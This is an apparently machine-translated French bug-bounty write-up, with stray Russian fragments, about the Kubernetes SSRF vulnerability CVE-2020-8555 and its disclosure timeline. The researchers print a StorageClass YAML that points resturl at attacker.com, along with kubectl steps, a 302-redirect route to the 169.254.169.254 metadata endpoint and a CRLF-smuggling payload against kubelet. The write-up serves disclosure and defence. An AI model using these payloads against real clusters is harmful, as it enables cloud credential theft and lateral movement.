Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

Noter. trad.: les auteurs de cet article parlent en détail de la façon dont ils ont réussi à découvrir la vulnérabilité CVE-2020-8555 dans Kubernetes. Même si au départ cela ne semblait pas très dangereux, en combinaison avec d’autres facteurs, sa criticité s’est avérée maximale pour certains fournisseurs de cloud. Plusieurs organisations ont généreusement récompensé les spécialistes pour leur travail.

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

Qui sommes nous

Nous sommes deux chercheurs français en sécurité qui avons découvert conjointement une vulnérabilité dans Kubernetes. Nous nous appelons Brice Augras et Christophe Hauquiert, mais sur de nombreuses plateformes Bug Bounty nous sommes connus respectivement sous les noms de Reeverzax et Hach :

Qu'est-il arrivé?

Cet article est notre façon de partager comment un projet de recherche ordinaire s'est transformé de manière inattendue en l'aventure la plus excitante de la vie des chasseurs d'insectes (du moins pour le moment).

Comme vous le savez probablement, les chasseurs de bogues ont quelques fonctionnalités notables :

  • ils vivent de pizza et de bière ;
  • ils travaillent quand tout le monde dort.

Nous ne faisons pas exception à ces règles : nous nous réunissons généralement le week-end et passons des nuits blanches à hacker. Mais une de ces nuits s’est terminée d’une manière très inhabituelle.

Au départ, nous allions nous rencontrer pour discuter de la participation à CTF le jour suivant. Lors d'une conversation sur la sécurité de Kubernetes dans un environnement de services gérés, nous nous sommes souvenus de la vieille idée de SSRF (Contrefaçon de requête côté serveur) et a décidé d'essayer de l'utiliser comme script d'attaque.

À 11 heures, nous nous sommes assis pour faire nos recherches et nous nous sommes couchés tôt le matin, très satisfaits des résultats. C'est grâce à cette recherche que nous sommes tombés sur le programme MSRC Bug Bounty et avons mis au point un exploit d'élévation de privilèges.

Plusieurs semaines/mois se sont écoulés et notre résultat inattendu a abouti à l'une des récompenses les plus élevées de l'histoire d'Azure Cloud Bug Bounty - en plus de celle que nous avons reçue de Kubernetes !

Sur la base de notre projet de recherche, le comité de sécurité des produits Kubernetes a publié CVE-2020-8555.

Maintenant, j'aimerais diffuser autant que possible des informations sur la vulnérabilité trouvée. Nous espérons que vous apprécierez la découverte et partagerez les détails techniques avec d’autres membres de la communauté infosec !

Alors voici notre histoire...

Contexte

Pour comprendre au mieux ce qui s'est passé, examinons d'abord comment Kubernetes fonctionne dans un environnement géré dans le cloud.

Lorsque vous instanciez un cluster Kubernetes dans un tel environnement, la couche de gestion relève généralement de la responsabilité du fournisseur cloud :

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…
La couche de contrôle est située au périmètre du fournisseur de cloud, tandis que les nœuds Kubernetes sont situés au périmètre du client.

Pour allouer dynamiquement des volumes, un mécanisme est utilisé pour les provisionner dynamiquement à partir d'un backend de stockage externe et les comparer avec PVC (réclamation de volume persistant, c'est-à-dire une demande de volume).

Ainsi, une fois le PVC créé et lié à la StorageClass dans le cluster K8s, d'autres actions pour fournir le volume sont prises en charge par le gestionnaire du contrôleur kube/cloud (son nom exact dépend de la version). (Noter. trad.: Nous avons déjà écrit davantage sur CCM en utilisant l'exemple de sa mise en œuvre pour l'un des fournisseurs de cloud ici.)

Il existe plusieurs types de provisionneurs pris en charge par Kubernetes : la plupart d'entre eux sont inclus dans noyau d'orchestrateur, tandis que d'autres sont gérés par des provisionneurs supplémentaires placés dans des pods du cluster.

Dans notre recherche, nous nous sommes concentrés sur le mécanisme interne de provisionnement des volumes, illustré ci-dessous :

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…
Provisionnement dynamique des volumes à l'aide du provisionneur Kubernetes intégré

Bref, lorsque Kubernetes est déployé dans un environnement managé, le gestionnaire du contrôleur est sous la responsabilité du fournisseur cloud, mais la demande de création de volume (numéro 3 dans le schéma ci-dessus) quitte le réseau interne du fournisseur cloud. Et c’est là que les choses deviennent vraiment intéressantes !

Scénario de piratage

Dans cette section, nous expliquerons comment nous avons tiré parti du workflow mentionné ci-dessus et accédé aux ressources internes du fournisseur de services cloud. Il vous montrera également comment effectuer certaines actions, telles que l'obtention d'informations d'identification internes ou l'augmentation des privilèges.

Une simple manipulation (dans ce cas, Service Side Request Forgery) a permis d'aller au-delà de l'environnement client vers des clusters de divers fournisseurs de services sous des K8 gérés.

Dans notre recherche, nous nous sommes concentrés sur le fournisseur GlusterFS. Bien que la suite des actions soit décrite dans ce contexte, Quobyte, StorageOS et ScaleIO sont sensibles à la même vulnérabilité.

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…
Abus du mécanisme de provisionnement dynamique des volumes

Pendant l'analyse de la classe de stockage GlusterFS dans le code source du client Golang, nous remarquécelui sur la première requête HTTP (3) envoyée lors de la création du volume, à la fin de l'URL personnalisée dans le paramètre resturl est ajouté /volumes.

Nous avons décidé de supprimer ce chemin supplémentaire en ajoutant # en paramètre resturl. Voici la première configuration YAML que nous avons utilisée pour tester une vulnérabilité SSRF semi-aveugle (vous pouvez en savoir plus sur les SSRF semi-aveugles ou semi-aveugles, par exemple, ici - environ. trad.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Ensuite nous avons utilisé le binaire pour gérer à distance le cluster Kubernetes kubectl. En règle générale, les fournisseurs de cloud (Azure, Google, AWS, etc.) vous permettent d'obtenir des informations d'identification à utiliser dans cet utilitaire.

Grâce à cela, j'ai pu utiliser mon fichier « spécial ». Kube-controller-manager a exécuté la requête HTTP résultante :

kubectl create -f sc-poc.yaml

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…
La réponse du point de vue de l'attaquant

Peu de temps après, nous avons également pu recevoir une réponse HTTP du serveur cible - via les commandes describe pvc ou get events dans Kubectl. Et en effet : ce pilote Kubernetes par défaut est trop verbeux dans ses avertissements/messages d'erreur...

Voici un exemple avec un lien vers https://www.google.frdéfinir comme paramètre resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

Dans cette approche, nous étions limités à des requêtes telles que POST HTTP et ne pouvait pas obtenir le contenu du corps de la réponse si le code retour était 201. Par conséquent, nous avons décidé de mener des recherches supplémentaires et d’élargir ce scénario de piratage avec de nouvelles approches.

L'évolution de nos recherches

  • Scénario avancé n°1 : Utilisation d'une redirection 302 à partir d'un serveur externe pour modifier la méthode HTTP afin de fournir un moyen plus flexible de collecter des données internes.
  • Scénario avancé n°2 : automatisez l'analyse LAN et la découverte des ressources internes.
  • Scénario avancé n°3 : utilisation de HTTP CRLF + smuggling (« request smuggling ») pour créer des requêtes HTTP personnalisées et récupérer les données extraites des journaux du kube-controller.

Spécifications techniques

  • La recherche a utilisé Azure Kubernetes Service (AKS) avec Kubernetes version 1.12 dans la région Europe du Nord.
  • Les scénarios décrits ci-dessus ont été exécutés sur les dernières versions de Kubernetes, à l'exception du troisième scénario, car il avait besoin de Kubernetes construit avec la version Golang ≤ 1.12.
  • Serveur externe de l'attaquant - https://attacker.com.

Scénario avancé n°1 : redirection d'une requête HTTP POST vers GET et réception de données sensibles

La méthode originale a été améliorée par la configuration du serveur de l'attaquant pour renvoyer 302 Recodage HTTPpour convertir une requête POST en requête GET (étape 4 du schéma) :

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

Première demande (3) émanant du client GlusterFS (Controller Manager), a un type POST. En suivant ces étapes, nous avons pu le transformer en GET :

  • En tant que paramètre resturl dans StorageClass, il est indiqué http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php répond avec un code d'état HTTP 302 avec l'en-tête d'emplacement suivant : http://169.254.169.254. Il peut s'agir de n'importe quelle autre ressource interne. Dans ce cas, le lien de redirection est utilisé uniquement à titre d'exemple.
  • Par défaut bibliothèque net/http Golang redirige la requête et convertit le POST en un GET avec un code d'état 302, ce qui entraîne une requête HTTP GET vers la ressource cible.

Pour lire le corps de la réponse HTTP, vous devez faire describe Objet en PVC :

kubectl describe pvc xxx

Voici un exemple de réponse HTTP au format JSON que nous avons pu recevoir :

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

Les capacités de la vulnérabilité trouvée à cette époque étaient limitées en raison des points suivants :

  • Impossibilité d'insérer des en-têtes HTTP dans la requête sortante.
  • Impossibilité d'effectuer une requête POST avec des paramètres dans le corps (cela est pratique pour demander la valeur clé à une instance etcd exécutée sur 2379 port si HTTP non chiffré est utilisé).
  • Impossibilité de récupérer le contenu du corps de la réponse lorsque le code d'état était 200 et que la réponse n'avait pas de type de contenu JSON.

Scénario avancé n°2 : Analyse du réseau local

Cette méthode SSRF en semi-aveugle a ensuite été utilisée pour scanner le réseau interne du fournisseur cloud et interroger différents services d'écoute (instance Metadata, Kubelet, etcd, etc.) en fonction des réponses. contrôleur Kube.

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

Tout d'abord, les ports d'écoute standards des composants Kubernetes ont été déterminés (8443, 10250, 10251, etc.), puis nous avons dû automatiser le processus d'analyse.

Constatant que cette méthode d'analyse des ressources est très spécifique et n'est pas compatible avec les scanners classiques et les outils SSRF, nous avons décidé de créer nos propres Workers dans un script bash qui automatisent l'ensemble du processus.

Par exemple, afin de scanner rapidement la gamme 172.16.0.0/12 du réseau interne, 15 Workers ont été lancés en parallèle. La plage IP ci-dessus a été sélectionnée à titre d'exemple uniquement et peut être sujette à modification en fonction de la plage IP de votre fournisseur de services spécifique.

Pour analyser une adresse IP et un port, vous devez procéder comme suit :

  • supprimez la dernière StorageClass vérifiée ;
  • supprimer la précédente réclamation de volume persistant vérifiée ;
  • modifier les valeurs IP et Port dans sc.yaml;
  • créer une StorageClass avec une nouvelle adresse IP et un nouveau port ;
  • créer un nouveau PVC ;
  • extraire les résultats de l'analyse à l'aide de la description pour PVC.

Scénario avancé n°3 : injection CRLF + contrebande HTTP dans les « anciennes » versions du cluster Kubernetes

Si en plus le fournisseur proposait aux clients d'anciennes versions du cluster K8s и leur a donné accès aux journaux de kube-controller-manager, l'effet est devenu encore plus significatif.

Il est en effet bien plus pratique pour un attaquant de modifier à sa discrétion les requêtes HTTP destinées à obtenir une réponse HTTP complète.

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

Pour mettre en œuvre le dernier scénario, les conditions suivantes devaient être remplies :

  • L'utilisateur doit avoir accès aux journaux kube-controller-manager (comme, par exemple, dans Azure LogInsights).
  • Le cluster Kubernetes doit utiliser une version de Golang inférieure à 1.12.

Nous avons déployé un environnement local simulant la communication entre le client GlusterFS Go et un faux serveur cible (nous nous abstiendrons de publier le PoC pour l'instant).

A été trouvé vulnérabilité, affectant les versions de Golang inférieures à 1.12 et permettant aux pirates de mener des attaques de contrebande HTTP/CRLF.

En combinant le SSRF semi-aveugle décrit ci-dessus ensemble avec cela, nous avons pu envoyer des requêtes à notre guise, y compris le remplacement des en-têtes, de la méthode HTTP, des paramètres et des données, que kube-controller-manager a ensuite traités.

Voici un exemple de « appât » fonctionnel dans un paramètre resturl StorageClass, qui implémente un scénario d'attaque similaire :

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Le résultat est une erreur réponse non sollicitée, dont un message est enregistré dans les journaux du contrôleur. Grâce à la verbosité activée par défaut, le contenu du message de réponse HTTP y est également enregistré.

Quand il ne s’agit pas seulement de vulnérabilités Kubernetes…

C’était notre « appât » le plus efficace dans le cadre de la preuve de concept.

Grâce à cette approche, nous avons pu mener certaines des attaques suivantes sur des clusters de divers fournisseurs k8 gérés : élévation de privilèges avec informations d'identification sur les instances de métadonnées, Master DoS via des requêtes HTTP (non chiffrées) sur les instances maîtres etcd, etc.

effets

Dans la déclaration officielle de Kubernetes concernant la vulnérabilité SSRF que nous avons découverte, elle a été notée CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Si l’on considère uniquement la vulnérabilité associée au périmètre Kubernetes, le vecteur d’intégrité (vecteur d'intégrité) il est qualifié de Aucun.

Cependant, l'évaluation des conséquences possibles dans le contexte d'un environnement de services managés (et c'était la partie la plus intéressante de nos recherches !) nous a incité à reclasser la vulnérabilité en notation CVSS10/10 critique pour de nombreux distributeurs.

Vous trouverez ci-dessous des informations supplémentaires pour vous aider à comprendre nos considérations lors de l’évaluation des impacts potentiels dans les environnements cloud :

Intégrité

  • Exécutez des commandes à distance à l’aide des informations d’identification internes acquises.
  • Reproduire le scénario ci-dessus en utilisant la méthode IDOR (Insecure Direct Object Reference) avec d'autres ressources trouvées sur le réseau local.

Конфиденциальность

  • Type d'attaque Mouvement latéral grâce au vol d'informations d'identification cloud (par exemple, API de métadonnées).
  • Collecte d'informations en scannant le réseau local (détermination de la version SSH, version du serveur HTTP, ...).
  • Collectez des informations sur les instances et l'infrastructure en interrogeant les API internes telles que l'API de métadonnées (http://169.254.169.254,…).
  • Voler des données client à l'aide d'informations d'identification cloud.

Disponibilité

Tous les scénarios d'exploitation liés aux vecteurs d'attaque sur intégrité, peut être utilisé pour des actions destructrices et conduire à l'indisponibilité des instances maîtres du périmètre client (ou de tout autre).

Puisque nous étions dans un environnement K8 géré et que nous évaluions l’impact sur l’intégrité, nous pouvons imaginer de nombreux scénarios qui pourraient avoir un impact sur la disponibilité. Des exemples supplémentaires incluent la corruption de la base de données etcd ou l'exécution d'un appel critique à l'API Kubernetes.

Chronologie

  • 6 décembre 2019 : Vulnérabilité signalée au MSRC Bug Bounty.
  • 3 janvier 2020 : un tiers a informé les développeurs de Kubernetes que nous travaillions sur un problème de sécurité. Et leur a demandé de considérer SSRF comme une vulnérabilité interne (in-core). Nous avons ensuite fourni un rapport général avec des détails techniques sur la source du problème.
  • 15 janvier 2020 : Nous avons fourni des rapports techniques et généraux aux développeurs Kubernetes à leur demande (via la plateforme HackerOne).
  • 15 janvier 2020 : les développeurs de Kubernetes nous ont informés que l'injection semi-aveugle SSRF + CRLF pour les versions précédentes est considérée comme une vulnérabilité interne. Nous avons immédiatement arrêté d'analyser les périmètres des autres prestataires : l'équipe K8s s'attaquait désormais à la cause profonde.
  • 15 janvier 2020 : récompense MSRC reçue via HackerOne.
  • 16 janvier 2020 : Kubernetes PSC (Product Security Committee) reconnaît la vulnérabilité et demande de la garder secrète jusqu'à la mi-mars en raison du grand nombre de victimes potentielles.
  • 11 février 2020 : récompense Google VRP reçue.
  • 4 mars 2020 : récompense Kubernetes reçue via HackerOne.
  • 15 mars 2020 : La divulgation publique initialement prévue a été reportée en raison de la situation liée à la COVID-19.
  • 1er juin 2020 : déclaration commune Kubernetes + Microsoft sur la vulnérabilité.

TL; DR

  • Nous buvons de la bière et mangeons de la pizza :)
  • Nous avons découvert une vulnérabilité interne à Kubernetes, même si nous n'avions pas l'intention de le faire.
  • Nous avons effectué une analyse supplémentaire sur des clusters de différents fournisseurs de cloud et avons pu augmenter les dégâts causés par la vulnérabilité pour recevoir des bonus supplémentaires impressionnants.
  • Vous trouverez de nombreux détails techniques dans cet article. Nous serions heureux d'en discuter avec vous (Twitter : @ReeverZax & @__hach_).
  • Il s’est avéré que toutes sortes de formalités et de rapports prenaient beaucoup plus de temps que prévu.

références

PS du traducteur

A lire aussi sur notre blog :

Source: habr.com

Ajouter un commentaire